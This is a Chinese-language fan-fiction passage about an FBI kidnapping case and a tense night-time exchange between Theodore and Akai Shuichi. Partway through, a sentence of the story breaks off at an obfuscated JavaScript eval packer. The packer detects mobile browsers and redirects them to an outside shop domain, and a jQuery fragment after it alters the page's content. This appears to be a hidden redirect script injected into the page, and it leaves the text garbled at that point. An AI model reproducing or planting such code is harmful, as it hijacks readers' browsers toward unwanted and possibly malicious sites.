“于是我找到亚瑟的司机,皮特·罗更斯了解情况。据他所说,昨天下午亚瑟给他放了假,称是偶尔想自己开车转转。我向其他人求证过了,他说的情况属实。”
主动支开司机?肖与奥利维亚对视一眼,都从对方眼中看到了一样的警惕。
“那四名出现在亚瑟办公室的人,”奥利维亚翻过一页,“艾丁妲·克罗夫特,亚瑟的姐姐,虽然她今天在索尔医疗大厦,出事时也是第一批知道的人,但她在这家公司的职位只是商业顾问,平常也不在这里工作。她的儿子,狄奥多·克罗夫特是马里兰大学的学生,和索尔公司完全没有关系,如他所说,今天只是来找艾丁妲的。”
“埃莉诺·普莱斯,亚瑟的秘书。虽然她试图掩饰,但我认为她和亚瑟的关系并不是很融洽,但似乎和亚瑟的绑架案没有关系,案发后她的反应都很正常,只是……”奥利维亚停顿了一下,“不那么在乎亚瑟本人的生命安全。”
“只有萨曼莎。”奥利维亚的眼神变得有些严肃,肖不常看到她这副表情,“那个亚瑟的助理。我的直觉告诉我她对我们有所保留,但现阶段也找不到撬开她的方法。”
肖点点头,她在脑海中拼命搜刮了一番枪响的瞬间房间里在场的人的反应:埃莉诺和艾丁妲的慌张不似作伪,这种命悬一线的关头是最难做出伪装的;萨曼莎的反应就有些可疑了,虽然也是慌张与担忧,但不同于其他人,她的这些情绪感觉不像是对自己的,反而像是对那台电脑的。
再加上那封勒索信奇怪的措辞,绑架犯和亚瑟的商业往来有关的概率大大增加。
至于狄奥多……
肖已经想起了她在哪里见过这个名字了。四年前,她刚离开BAU没多久,去帮组里青黄不接的基甸和罗西处理一个连环杀人案的时候,那里有个存活的受害人、一个少年的名字就是狄奥多。狄奥多·克罗夫特。
---
狄奥多推开家门,迎接他的是一片黑暗,这让他的心更往下沉了几分。
赤井秀一还没有回来。
狄奥多摸索着按下了玄关处灯光的开关。冰冷的白光刺得他不想睁开眼睛。他低下头,把脚放进拖鞋里,左手顺手就关掉了开关,然后借着落地窗外喧嚣的霓虹灯光慢慢走到客厅。
青年在沙发边呆立了片刻,才想起来自己手上还捏着钱包和车钥匙,御寒的厚大衣也没脱,毛呢带着仲秋的寒气沁染进室内本该温暖的空气里,带来一丝冰冷的味道。
狄奥多又折回玄关前,在幽蓝的夜色里放下手上的杂物,脱掉染着秋霜的衣服。
我还该做什么?
红是遇到了什么麻烦吗?索尔医疗器械公司呢?西蒙斯呢?
狄奥多站在冰箱前,对着冰柜上层的生菜叶子发了会儿呆,才意识到这里没有他需要的东西。他从里面取出一罐菠萝汁,关上冰箱。房间里的光源又消失了。
金发青年不喜欢这样,太昏暗,太安静。他走到沙发旁,打开了角几上的小夜灯。
他把自己窝进沙发上最靠近小夜灯的位置,打开了那罐冰镇的菠萝汁,甜腻的味道刺激着味蕾,带来短暂的、欺骗性的满足感。
狄奥多又觉得这样的姿势太没有安全感了,他感受不到脚踏实地的支撑。他重新坐起来,脚心稳稳地按在地毯上,手臂被膝盖支撑的感觉让他的大脑慢慢运转起来,又回想起白天发生的一切。
那个人真的是赤井秀一吗?
狄奥多不知道自己在沙发上坐了多久。突然,玄关处响起了锁扣弹开的声响,伴随着“嘀”的一声电子音,狄奥多回头看去,一个一直萦绕在他心头的身影终于出现在他眼前。
那一瞬间狄奥多懵住了,愣了两秒,他才开始思考:我该怎么向赤井秀一问出口今天的事?你为什么在那里?太像质问了。你今天去了哪里?这么迂回根本没有意义。你今天那么做的理由、
等等。那是什么。
灯光有些昏暗。赤井秀一抬起手,借着狄奥多留下的小夜灯的灯光,准确地找到了开关的位置,重新打开了玄关处的灯光。这时狄奥多才看清他抬起的袖口上带着一片暗色的污渍。一片显眼的、液体浸染出的棕褐色。
狄奥多反应过来,立刻从沙发上弹了起来,一个冲刺就闪现到了赤井秀一的面前,捉住了他的手。狄奥多伸出食指和大拇指捻住袖口一搓,果然是血迹。
“不是我的血。”
听到男人的回答,金发青年的喉头不受控制地滚动了一下。
赤井秀一的声音有些干哑,他还是第一次发现他这么受不了另一个人这样忧虑自己的表情,或许也是因为这是狄奥多第一次在他面前露出这样的表情,仿佛是害怕失去什么的表情。他没挣开狄奥多的手,两个人就这么站在玄关前。
已经不需要再去考虑措辞了,听到赤井秀一开口的下一刻,狄奥多就问出了他最想知道的问题:
“……你和案件有关吗?”
“如果我说我不知道呢?”
这当然是真话,至少在射出那枚子弹之前,赤井秀一对那栋大厦里发生的一切一无所知。当然,赶回匡提科之后他已经从别人那里听到了今天在那栋大厦里发生的故事的另一个版本。不同于自己视角的版本。
感谢狄奥多与自己的心有灵犀吧,赤井秀一在心里默默地对自己说。因为狄奥多的表情明晃晃地写着“我相信你”。金发青年歪了下脑袋,然后明白过来什么事似的轻轻呼出一口气,才让赤井秀一意识到他刚刚的提心吊胆:
“……我明白你的意思了。所以你不知道警方和FBI来索尔的理由。索尔的全球供应链总监被绑架了。”
“……”
赤井秀一不得不陷入沉默,因为这确实是一个他不知道的信息——这么看来,探员们对自己负责的案件的保密工作做的还是不错的。
狄奥多的表情却很快平静下来,他的手还轻轻的圈在黑发青年的小臂上,视线一瞬不转地停在赤井秀一的脸上。
“现在你知道了。那你出现在对面楼上的理由呢?”
我应该说他眼神真好吗?隔着那么远的距离他是怎么确认那是我的?赤井秀一这么想着,却没有一点自己也是如此的自觉:
“你就这么告诉我了?”
“那么你可以告诉我——我到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17666143|202170||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
底应不应该告诉你案情。”
狄奥多蹙眉。他终于放开了赤井秀一的手,全身的重心转移到一只脚上——一个放松的姿势。
“这不是一个一换一的游戏。”
赤井秀一不觉得狄奥多没有明白自己的言外之意,为什么还要把选择权交到自己手上?
一换一?狄奥多想听到的可不是这种回答,他完全没发现自己下意识把语气变得多急促,神情又是何等的认真:“天呐我当然知道。”金发青年很快反应过来自己的失控,他咽了口唾沫,拉回自己前倾的身体,“但你也没有给我一个不信任你的理由不是吗?”
“……”
赤井秀一打好腹稿的解释就这么卡在喉咙里,吐不出来了。
他看着狄奥多紧张又认真的神情,默默把那些失去意义的词句重新咽回了肚子里。
金发青年却完全没觉得自己在说什么惊世骇俗的话:“所以西蒙斯总监到底做了什么?你是在调查他?这些都不能说吗?绑匪甚至没有提过要求,只发来了恐吓信和质物要求他的电脑。但现在电脑没有了,那些数据没有了……”他自言自语着,完全陷入了自己的思考,“他会死吗?”
死。赤井秀一被这个字眼惊醒,回过神来,他觉得自己至少应该说一句——“抱歉。”
狄奥多却看过来,竟似是有些不解、或者是责备:“为什么要抱歉。”
“为我只能站在职责这一边。”赤井秀一有些不自在地眨了下眼。
狄奥多回答的语气却是理所当然:“这么听起来该说抱歉的几乎是我了。别忘了,我和你是一样的人。”
在理解了狄奥多说的话后的那一刹那,赤井秀一竟感觉到自己的大脑一片空白。他觉得自己应该说些什么,却又无从开口。
“……あか?”
怎么呆住了?狄奥多有些困惑地喊了一声。
他、
赤井秀一沉默着。他什么?
狄奥多的理所当然如此轻描淡写,却一字一句都让他心惊胆战。以至于他一时想不出该怎么形容。
“‘我选择阿芙洛狄忒。’”他喃喃道。这是帕里斯带来毁灭的预兆,说出那些话的狄奥多难道不就是神话里的那个帕里斯吗?
“什么?”话题这是突然跳到了哪里?狄奥多一愣。
“你会把金苹果给谁?”赤井秀一看向狄奥多的眼睛,想从里面找出一个答案。可他注定要失望了。
“哈?帕里斯的金苹果?这是什么考验吗?还是谜题?”狄奥多的眉毛皱了起来。
赤井秀一却像是不想再继续这个话题一样,转身进了洗手间,把被血染污的脏衣服脱掉,扔进洗衣机里。然后给身后的金发青年留下了一句模棱两可的:
“或许吧。”
赤井秀一盖上洗衣机盖子。事实上,他几乎是在无言以对中落荒而逃。
狄奥多没有给他任何一句“我理解你的难处,但是”,他没有哪怕一秒地犹豫,就说出了“该说抱歉的几乎是我”这种荒唐的话。
他深呼吸,按下了洗衣机的启动键。巨大的机械噪声压过了其他一切细小的躁动。